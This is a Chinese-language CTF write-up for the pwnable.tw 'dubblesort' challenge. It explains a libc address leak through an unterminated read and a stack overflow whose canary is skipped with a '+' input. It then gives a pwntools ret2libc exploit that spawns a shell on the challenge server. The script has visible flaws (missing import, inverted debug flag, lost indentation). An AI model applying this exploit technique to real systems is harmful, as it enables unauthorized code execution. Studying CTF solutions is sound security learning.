老套路
查看下保护与它的架构。
这题考察的知识点是如何绕过canary和ret2libc。
我们分析一下main的C代码。read函数读取的时候不会在数据末尾加上’\x00’ , 这就导致了可以泄露栈上的libc地址,v9 没有进行边界检查, 导致输入的数据可以导致栈溢出
利用printf'\0'截断的特性来输出栈上残留数据,此处为.got.plt的地址,进而泄露libc基址
通过此处改变栈上数据,篡改retaddr为system函数地址,retaddr之后的位置存放"/bin/sh"字符串地址.
exp:
import struct
context(arch='i386', os='linux', log_level='debug')
debug = 1
d = 0
if debug == 0:
p = process("./dubblesort")
if d == 1:
gdb.attach(p)
else:
p = remote("chall.pwnable.tw", 10101)
libc = ELF("libc_32.so.6")
p.sendlineafter("What your name :", 'a'*0x18)
p.recvuntil('a'*0x18)
leak = u32(p.recv(4))
print ("leak-> " +hex(leak))
libc_base = leak - 0xa - 0x1b0000
system = libc.symbols['system'] + libc_base
binsh =next(libc.search(b'/bin/sh')) + libc_base
print ("libc_base-> " + hex(libc_base))
print ("system-> " + hex(system))
print ("binsh-> " + hex(binsh))
num = 35
fmt = 'How many numbers do you what to sort :'
p.sendlineafter(fmt, str(num))
for i in range(28):
fmt = "Enter the " + str(i) + " number : "
if i == 24:
c = '+'
elif i < 24:
c = str(i)
else:
c = str(system)
p.sendlineafter(fmt, c)
for i in range(6):
fmt = "Enter the " + str(i + 28) + " number : "
p.sendlineafter(fmt, str(system))
p.sendlineafter("Enter the 34 number : ", str(binsh))
p.interactive()
EXP中几个地址解释:
0x1b0000:
"readelf -S ./libc_32.so.6"得到的偏移量
0x18来连接到地址